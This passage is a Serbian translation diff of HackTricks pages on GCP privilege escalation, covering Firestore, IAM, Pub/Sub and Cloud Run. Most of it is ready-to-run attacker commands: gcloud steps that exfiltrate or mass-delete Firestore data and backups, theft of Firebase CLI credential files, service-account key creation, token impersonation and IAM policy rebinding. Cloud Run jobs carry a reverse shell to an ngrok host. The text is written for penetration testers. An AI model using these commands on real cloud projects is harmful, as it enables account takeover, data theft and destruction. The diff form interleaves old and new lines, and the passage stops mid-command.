Kada se kreira TTL politika, bira se određeno svojstvo koje identifikuje entitete koji ispunjavaju uslove za brisanje. Ovo TTL svojstvo mora biti Date and time type. Napadač može izabrati svojstvo koje već postoji ili odrediti svojstvo koje planira naknadno dodati. Ako je vrednost polja datum iz prošlosti, dokument postaje podoban za trenutno brisanje. Napadač može koristiti gcloud CLI za manipulaciju TTL politikama.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
Da bi izvezao podatke i izvršio exfiltration, napadač bi mogao koristiti gcloud CLI.
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Za uvoz zlonamernih podataka:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Da bi izvršio masovno brisanje podataka i izazvao denial of service, napadač bi mogao koristiti gcloud Firestore bulk-delete tool da ukloni čitave kolekcije.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Za backup i restore operacije, napadač može kreirati zakazane backup-e da bi zabeležio trenutno stanje baze podataka, navesti postojeće backup-e, restore-ovati iz backup-a da prepiše nedavne izmene, obrisati backup-e kako bi izazvao trajni gubitak podataka i ukloniti zakazane backup-e.
|
||||
Da biste napravili dnevni backup schedule koji odmah generiše backup:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Da bi obnovio podatke iz određene rezervne kopije, napadač može kreirati novu bazu podataka koristeći podatke sadržane u toj rezervnoj kopiji. Operacija obnove upisuje podatke rezervne kopije u novu bazu podataka, što znači da se postojeći DATABASE_ID ne može koristiti.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Da obrišete backup i prouzrokujete trajni gubitak podataka:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Krađa i zloupotreba Firebase CLI akreditiva
|
||||
Napadaču nisu potrebna specifična Firebase dopuštenja da izvede ovaj napad, ali mu je potreban pristup lokalnom sistemu developera ili do fajla sa Firebase CLI akreditivima. Ovi akreditivi su sačuvani u JSON fajlu koji se nalazi na:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
Ovaj fajl sadrži autentifikacione tokene, uključujući refresh_token i access_token, koji omogućavaju napadaču da se autentifikuje kao korisnik koji je originalno pokrenuo firebase login.
|
||||
|
||||
Napadač dobije pristup fajlu sa Firebase CLI akreditivima. Zatim može kopirati ceo fajl na svoj sistem, i Firebase CLI će automatski koristiti akreditive sa svoje podrazumevane lokacije. Nakon toga, napadač može videti sve Firebase projekte kojima taj korisnik ima pristup.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Više informacija o IAM-u:
|
||||
Pronađite više informacija o IAM u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,54 +12,51 @@ Više informacija o IAM-u:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Napadač sa navedenim dozvolama moći će da izmeni rolu vama dodeljenu i dodeli vam dodatne dozvole za druge resurse kao što su:
|
||||
|
||||
<details><summary>Ažuriraj IAM rolu da dodaš dozvole</summary>
|
||||
Napadač sa pomenutim dozvolama će moći da ažurira role dodeljene vama i dodeli vam dodatne dozvole nad drugim resursima, kao što su:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
Možete pronaći skript koji automatizuje **creation, exploit and cleaning of a vuln environment here** i python skript za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Možete pronaći skriptu za automatizaciju **kreiranja, exploit-a i čišćenja vuln okruženja ovde** i python skriptu za zloupotrebu ove privilegije [**ovde**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Za više informacija pogledajte [**izvorno istraživanje**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
Permisija `iam.roles.create` omogućava kreiranje prilagođenih uloga u projektu/organizaciji. U rukama napadača, ovo je opasno jer im omogućava da definišu nove skupove dozvola koje kasnije mogu biti dodeljene entitetima (na primer, koristeći `iam.serviceAccounts.setIamPolicy` dozvolu) sa ciljem eskalacije privilegija.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
--title="<Title>" \
|
||||
--description="<Description>" \
|
||||
--permissions="permission1,permission2,permission3"
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Napadač sa pomenutim permisijama može da zatraži **access token that belongs to a Service Account**, pa je moguće dobiti access token Service Account-a sa više privilegija od naših.
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
An attacker sa pomenutim dozvolama će moći da **zahteva access token koji pripada Service Account-a**, tako da je moguće zatražiti access token Service Account-a koji ima više privilegija od našeg.
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Možete pronaći skriptu koja automatizuje [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Napadač sa pomenutim dozvolama može da **kreira korisnički upravljani ključ za servisni nalog**, što će nam omogućiti pristup GCP-u pod tim servisnim nalogom.
|
||||
|
||||
<details><summary>Kreiranje ključa servisnog naloga i autentifikacija</summary>
|
||||
Napadač sa pomenutim dozvolama će moći da **create a user-managed key for a Service Account**, što će nam omogućiti pristup GCP-u kao taj Service Account.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
</details>
|
||||
|
||||
Možete pronaći skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) i python skriptu za zloupotrebu ove privilegije [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Imajte na umu da **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA jer je za to takođe potrebna dozvola `iam.serviceAccountKeys.create`.
|
||||
Imajte na umu da **`iam.serviceAccountKeys.update` won't work to modify the key** SA, jer je za to potrebna i permisija `iam.serviceAccountKeys.create`.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Ako imate dozvolu **`iam.serviceAccounts.implicitDelegation`** na Service Account koji ima dozvolu **`iam.serviceAccounts.getAccessToken`** na trećem Service Account-u, onda možete koristiti implicitDelegation da **kreirate token za taj treći Service Account**. Evo dijagrama koji to objašnjava.
|
||||
Ukoliko imate dozvolu **`iam.serviceAccounts.implicitDelegation`** nad Service Account-om koji ima dozvolu **`iam.serviceAccounts.getAccessToken`** nad trećim Service Account-om, onda možete upotrebiti implicitDelegation da **kreirate token za taj treći Service Account**. Evo dijagrama koji pomaže da se objasni.
|
||||
|
||||

|
||||
|
||||
Imajte na umu da prema [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), delegacija `gcloud` radi samo za generisanje tokena koristeći metodu [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Dakle, ovde imate kako da dobijete token koristeći API direktno:
|
||||
|
||||
<details><summary>Generisanje access tokena sa delegacijom koristeći API</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -70,27 +67,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
</details>
|
||||
|
||||
Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Napadač sa navedenim dozvolama biće u stanju da **potpiše proizvoljne payload-e u GCP**. Dakle, biće moguće **kreirati nepotpisani JWT od SA i zatim ga poslati kao blob da bi taj JWT bio potpisan** od strane ciljanog SA. Za više informacija [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Napadač sa pomenutim privilegijama moći će da **potpiše proizvoljne payloads u GCP**. Dakle biće moguće **kreirati nepotpisani JWT od SA i potom ga poslati kao blob da bi JWT bio potpisan** od strane ciljanog SA. Za više informacija [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) i [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Napadač sa navedenim dozvolama biće u stanju da **potpiše ispravno formirane JSON web tokens (JWTs)**. Razlika u odnosu na prethodnu metodu je što **umesto da Google potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT**. To olakšava upotrebu, ali možete potpisivati samo JWT, a ne proizvoljne bajtove.
|
||||
Napadač sa pomenutim privilegijama moći će da **potpiše ispravno formirane JSON web tokene (JWTs)**. Razlika u odnosu na prethodni metod je što **umesto da google potpiše blob koji sadrži JWT, koristimo signJWT metodu koja već očekuje JWT**. To ga čini lakšim za upotrebu ali možete potpisivati samo JWT umesto proizvoljnih bajtova.
|
||||
|
||||
Skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) možete naći na navedenim linkovima. Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Možete pronaći skriptu za automatizaciju the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) i python skriptu za zloupotrebu ovog privilegija [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Za više informacija pogledajte [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Napadač sa navedenim dozvolama biće u stanju da **dodaje IAM politike na service accounts**. To možete zloupotrebiti da **dodelite sebi** dozvole potrebne za impersonaciju service account-a. U sledećem primeru dodeljujemo sebi ulogu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA:
|
||||
|
||||
<details><summary>Dodaj IAM policy binding na service account</summary>
|
||||
Napadač sa pomenutim privilegijama moći će da **dodaje IAM policies na service accounts**. Možete to zloupotrebiti da **dodelite sebi** permisije koje su vam potrebne da se lažno predstavite kao service account. U sledećem primeru dodeljujemo sebi ulogu `roles/iam.serviceAccountTokenCreator` nad interesantnim SA:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -101,57 +94,47 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
</details>
|
||||
|
||||
Možete pronaći skriptu koja automatizuje [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Dozvola **iam.serviceAccounts.actAs permission** je slična **iam:PassRole permission from AWS**. Neophodna je za izvršavanje zadataka, kao što je pokretanje Compute Engine instance, jer omogućava da se "actAs" Service Account, čime se obezbeđuje sigurno upravljanje dozvolama. Bez nje korisnici mogu steći neovlašćen pristup. Pored toga, exploiting the **iam.serviceAccounts.actAs** uključuje različite metode, od kojih svaka zahteva skup dozvola, za razliku od drugih metoda koje zahtevaju samo jednu.
|
||||
Dozvola **iam.serviceAccounts.actAs** je kao dozvola **iam:PassRole** iz AWS-a. Neophodna je za izvršavanje zadataka, kao što je pokretanje Compute Engine instance, jer omogućava da "actAs" Service Account, što obezbeđuje sigurno upravljanje privilegijama. Bez nje korisnici mogu dobiti neprimeren pristup. Dodatno, eksploatisanje **iam.serviceAccounts.actAs** uključuje različite metode, od kojih svaka zahteva skup dozvola, za razliku od drugih metoda koje zahtevaju samo jednu.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonating a service account može biti veoma korisno za **dobijanje novih i boljih privilegija**. Postoje tri načina na koja možete [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Impersonating a service account can be very useful to **obtain new and better privileges**. Postoje tri načina na koja možete [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Autentifikacija **using RSA private keys** (pokazano gore)
|
||||
- Autorizacija **using Cloud IAM policies** (obrađeno ovde)
|
||||
- **Deploying jobs on GCP services** (više primenljivo na kompromitovanje korisničkog naloga)
|
||||
- Authentication **using RSA private keys** (pokazano iznad)
|
||||
- Authorization **using Cloud IAM policies** (pokazano ovde)
|
||||
- **Deploying jobs on GCP services** (više primenljivo na kompromitaciju korisničkog naloga)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Napadač sa pomenutim dozvolama moći će da generiše OpenID JWT. Oni se koriste za potvrdu identiteta i ne moraju nužno da nose implicitnu autorizaciju prema nekom resursu.
|
||||
Napadač sa pomenutim dozvolama moći će da generiše OpenID JWT. Oni se koriste za potvrđivanje identiteta i ne nose nužno implicitnu autorizaciju nad resursom.
|
||||
|
||||
Prema ovom [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), potrebno je navesti audience (servis na koji želite da koristite token za autentifikaciju) i dobićete JWT potpisan od strane Google-a koji označava service account i audience JWT-a.
|
||||
Prema ovom [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), neophodno je navesti audience (servis na kojem želite da koristite token za autentikaciju) i dobićete JWT potpisan od strane Google-a koji označava service account i audience JWT-a.
|
||||
|
||||
Možete generisati OpenIDToken (ako imate pristup) pomoću:
|
||||
|
||||
<details><summary>Generisanje OpenID tokena za service account</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
Zatim ga možete koristiti za pristup servisu pomoću:
|
||||
|
||||
<details><summary>Use OpenID token to authenticate</summary>
|
||||
Zatim ga možete jednostavno koristiti za pristup servisu pomoću:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Neke usluge koje podržavaju autentifikaciju putem ovakvih tokena su:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (ako koristite Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Možete pronaći primer kako da kreirate OpenID token u ime servisnog naloga [**ovde**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
Primer kako da kreirate OpenID token u ime servisnog naloga možete pronaći [**ovde**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -4,34 +4,67 @@
|
||||
|
||||
## PubSub
|
||||
|
||||
Dobijte više informacija u:
|
||||
Više informacija potražite u:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
Snapšotovi tema **sadrže trenutne neACKovane poruke i svaku poruku nakon njih**. Možete kreirati snapšot teme da **pristupite svim porukama**, **izbegavajući direktan pristup temi**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
Snapshoti topic‑ova **sadrže trenutne unACKed poruke i svaku poruku posle njih**. Možete kreirati snapshot topic‑a da biste **pristupili svim porukama**, **izbegavajući direktan pristup topic‑u**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Dodelite prethodne dozvole sebi.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
Možete kreirati push pretplatu u temi koja će slati sve primljene poruke na navedeni URL.
|
||||
Možete kreirati push subscription na topic koji će slati sve primljene poruke na naznačeni URL
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Postavite svoj URL kao push krajnju tačku da biste ukrali poruke.
|
||||
Postavite svoj URL kao push endpoint da biste ukrali poruke.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Pristupite porukama koristeći pretplatu.
|
||||
|
||||
Pristupite porukama koristeći subscription.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Dajte sebi bilo koju od prethodnih dozvola.
|
||||
Dodelite sebi bilo koju od prethodnih dozvola
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,18 +12,15 @@ Za više informacija o Cloud Run pogledajte:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Napadač sa ovim dozvolama može da **kreira run service running arbitrary code** (arbitrary Docker container), prikači Service Account na njega i natera kod da **exfiltrate the Service Account token from the metadata**.
|
||||
Napadač sa ovim dozvolama može **kreirati run servis koji pokreće proizvoljan kod** (proizvoljan Docker container), dodeliti mu Service Account i naterati kod da **izvuče token Service Account-a iz metadata**.
|
||||
|
||||
Exploit script za ovu metodu može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) a Docker image može se naći [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Exploit skripta za ovu metodu se nalazi [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) i Docker image se nalazi [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
|
||||
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Pogledajte [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Imajte na umu da pri korišćenju `gcloud run deploy` umesto samo kreiranja servisa, **potrebna je `update` dozvola**. Pogledajte [**primer ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Slično prethodnom, ali ažurira servis:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
Dodelite sebi prethodne dozvole nad cloud Run.
|
||||
Dodelite sebi privilegije nad cloud Run.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Pokrenite job sa reverse shell-om kako biste ukrali service account naveden u komandi. Možete pronaći [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Kreirajte Cloud Run job sa reverse shell-om</summary>
|
||||
Pokrenite job sa reverse shell-om da ukradete service account naveden u komandi. Možete pronaći [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Slično prethodnom, moguće je **ažurirati job i ažurirati SA**, **izmeniti komandu** i **izvršiti je**:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,24 +80,33 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Dodelite sebi prethodne dozvole nad Cloud Jobs.
|
||||
Dodelite sebi prethodna ovlašćenja nad Cloud Jobs.
|
||||
```bash
|
||||
# Change policy
|
||||
